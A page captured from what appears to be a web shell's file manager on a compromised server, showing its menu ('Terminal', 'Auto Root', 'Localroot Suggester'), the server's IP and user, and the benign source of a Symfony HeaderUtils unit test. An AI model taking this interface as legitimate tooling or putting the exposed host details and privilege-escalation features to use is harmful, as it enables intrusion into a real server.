Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.133.142.101
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
symfony /
http-foundation /
Tests /
Delete
Unzip
Name
Size
Permission
Date
Action
File
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
Fixtures
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
Session
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
schema
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
AcceptHeaderItemTest.php
3.5
KB
-rw-r--r--
2018-11-26 09:00
AcceptHeaderTest.php
4.96
KB
-rw-r--r--
2018-11-26 09:00
ApacheRequestTest.php
2.69
KB
-rw-r--r--
2018-11-26 09:00
BinaryFileResponseTest.php
12.97
KB
-rw-r--r--
2018-11-26 09:00
CookieTest.php
8.82
KB
-rw-r--r--
2018-11-26 09:00
ExpressionRequestMatcherTest.php
2.52
KB
-rw-r--r--
2018-11-26 09:00
FileBagTest.php
4.98
KB
-rw-r--r--
2018-11-26 09:00
HeaderBagTest.php
7.45
KB
-rw-r--r--
2018-11-26 09:00
HeaderUtilsTest.php
6.43
KB
-rw-r--r--
2018-11-26 09:00
IpUtilsTest.php
3.71
KB
-rw-r--r--
2018-11-26 09:00
JsonResponseTest.php
8.41
KB
-rw-r--r--
2018-11-26 09:00
ParameterBagTest.php
7.25
KB
-rw-r--r--
2018-11-26 09:00
RedirectResponseTest.php
2.83
KB
-rw-r--r--
2018-11-26 09:00
RequestMatcherTest.php
5.19
KB
-rw-r--r--
2018-11-26 09:00
RequestStackTest.php
2.02
KB
-rw-r--r--
2018-11-26 09:00
RequestTest.php
94.83
KB
-rw-r--r--
2018-11-26 09:00
ResponseFunctionalTest.php
1.51
KB
-rw-r--r--
2018-11-26 09:00
ResponseHeaderBagTest.php
11.96
KB
-rw-r--r--
2018-11-26 09:00
ResponseTest.php
37.42
KB
-rw-r--r--
2018-11-26 09:00
ResponseTestCase.php
3.33
KB
-rw-r--r--
2018-11-26 09:00
ServerBagTest.php
5.56
KB
-rw-r--r--
2018-11-26 09:00
StreamedResponseTest.php
4.86
KB
-rw-r--r--
2018-11-26 09:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\HttpFoundation\HeaderUtils; class HeaderUtilsTest extends TestCase { public function testSplit() { $this->assertSame(array('foo=123', 'bar'), HeaderUtils::split('foo=123,bar', ',')); $this->assertSame(array('foo=123', 'bar'), HeaderUtils::split('foo=123, bar', ',')); $this->assertSame(array(array('foo=123', 'bar')), HeaderUtils::split('foo=123; bar', ',;')); $this->assertSame(array(array('foo=123'), array('bar')), HeaderUtils::split('foo=123, bar', ',;')); $this->assertSame(array('foo', '123, bar'), HeaderUtils::split('foo=123, bar', '=')); $this->assertSame(array('foo', '123, bar'), HeaderUtils::split(' foo = 123, bar ', '=')); $this->assertSame(array(array('foo', '123'), array('bar')), HeaderUtils::split('foo=123, bar', ',=')); $this->assertSame(array(array(array('foo', '123')), array(array('bar'), array('foo', '456'))), HeaderUtils::split('foo=123, bar; foo=456', ',;=')); $this->assertSame(array(array(array('foo', 'a,b;c=d'))), HeaderUtils::split('foo="a,b;c=d"', ',;=')); $this->assertSame(array('foo', 'bar'), HeaderUtils::split('foo,,,, bar', ',')); $this->assertSame(array('foo', 'bar'), HeaderUtils::split(',foo, bar,', ',')); $this->assertSame(array('foo', 'bar'), HeaderUtils::split(' , foo, bar, ', ',')); $this->assertSame(array('foo bar'), HeaderUtils::split('foo "bar"', ',')); $this->assertSame(array('foo bar'), HeaderUtils::split('"foo" bar', ',')); $this->assertSame(array('foo bar'), HeaderUtils::split('"foo" "bar"', ',')); // These are not a valid header values. We test that they parse anyway, // and that both the valid and invalid parts are returned. $this->assertSame(array(), HeaderUtils::split('', ',')); $this->assertSame(array(), HeaderUtils::split(',,,', ',')); $this->assertSame(array('foo', 'bar', 'baz'), HeaderUtils::split('foo, "bar", "baz', ',')); $this->assertSame(array('foo', 'bar, baz'), HeaderUtils::split('foo, "bar, baz', ',')); $this->assertSame(array('foo', 'bar, baz\\'), HeaderUtils::split('foo, "bar, baz\\', ',')); $this->assertSame(array('foo', 'bar, baz\\'), HeaderUtils::split('foo, "bar, baz\\\\', ',')); } public function testCombine() { $this->assertSame(array('foo' => '123'), HeaderUtils::combine(array(array('foo', '123')))); $this->assertSame(array('foo' => true), HeaderUtils::combine(array(array('foo')))); $this->assertSame(array('foo' => true), HeaderUtils::combine(array(array('Foo')))); $this->assertSame(array('foo' => '123', 'bar' => true), HeaderUtils::combine(array(array('foo', '123'), array('bar')))); } public function testToString() { $this->assertSame('foo', HeaderUtils::toString(array('foo' => true), ',')); $this->assertSame('foo; bar', HeaderUtils::toString(array('foo' => true, 'bar' => true), ';')); $this->assertSame('foo=123', HeaderUtils::toString(array('foo' => '123'), ',')); $this->assertSame('foo="1 2 3"', HeaderUtils::toString(array('foo' => '1 2 3'), ',')); $this->assertSame('foo="1 2 3", bar', HeaderUtils::toString(array('foo' => '1 2 3', 'bar' => true), ',')); } public function testQuote() { $this->assertSame('foo', HeaderUtils::quote('foo')); $this->assertSame('az09!#$%&\'*.^_`|~-', HeaderUtils::quote('az09!#$%&\'*.^_`|~-')); $this->assertSame('"foo bar"', HeaderUtils::quote('foo bar')); $this->assertSame('"foo [bar]"', HeaderUtils::quote('foo [bar]')); $this->assertSame('"foo \"bar\""', HeaderUtils::quote('foo "bar"')); $this->assertSame('"foo \\\\ bar"', HeaderUtils::quote('foo \\ bar')); } public function testUnquote() { $this->assertEquals('foo', HeaderUtils::unquote('foo')); $this->assertEquals('az09!#$%&\'*.^_`|~-', HeaderUtils::unquote('az09!#$%&\'*.^_`|~-')); $this->assertEquals('foo bar', HeaderUtils::unquote('"foo bar"')); $this->assertEquals('foo [bar]', HeaderUtils::unquote('"foo [bar]"')); $this->assertEquals('foo "bar"', HeaderUtils::unquote('"foo \"bar\""')); $this->assertEquals('foo "bar"', HeaderUtils::unquote('"foo \"\b\a\r\""')); $this->assertEquals('foo \\ bar', HeaderUtils::unquote('"foo \\\\ bar"')); } /** * @expectedException \InvalidArgumentException */ public function testMakeDispositionInvalidDisposition() { HeaderUtils::makeDisposition('invalid', 'foo.html'); } /** * @dataProvider provideMakeDisposition */ public function testMakeDisposition($disposition, $filename, $filenameFallback, $expected) { $this->assertEquals($expected, HeaderUtils::makeDisposition($disposition, $filename, $filenameFallback)); } public function provideMakeDisposition() { return array( array('attachment', 'foo.html', 'foo.html', 'attachment; filename=foo.html'), array('attachment', 'foo.html', '', 'attachment; filename=foo.html'), array('attachment', 'foo bar.html', '', 'attachment; filename="foo bar.html"'), array('attachment', 'foo "bar".html', '', 'attachment; filename="foo \\"bar\\".html"'), array('attachment', 'foo%20bar.html', 'foo bar.html', 'attachment; filename="foo bar.html"; filename*=utf-8\'\'foo%2520bar.html'), array('attachment', 'föö.html', 'foo.html', 'attachment; filename=foo.html; filename*=utf-8\'\'f%C3%B6%C3%B6.html'), ); } /** * @dataProvider provideMakeDispositionFail * @expectedException \InvalidArgumentException */ public function testMakeDispositionFail($disposition, $filename) { HeaderUtils::makeDisposition($disposition, $filename); } public function provideMakeDispositionFail() { return array( array('attachment', 'foo%20bar.html'), array('attachment', 'foo/bar.html'), array('attachment', '/foo.html'), array('attachment', 'foo\bar.html'), array('attachment', '\foo.html'), array('attachment', 'föö.html'), ); } }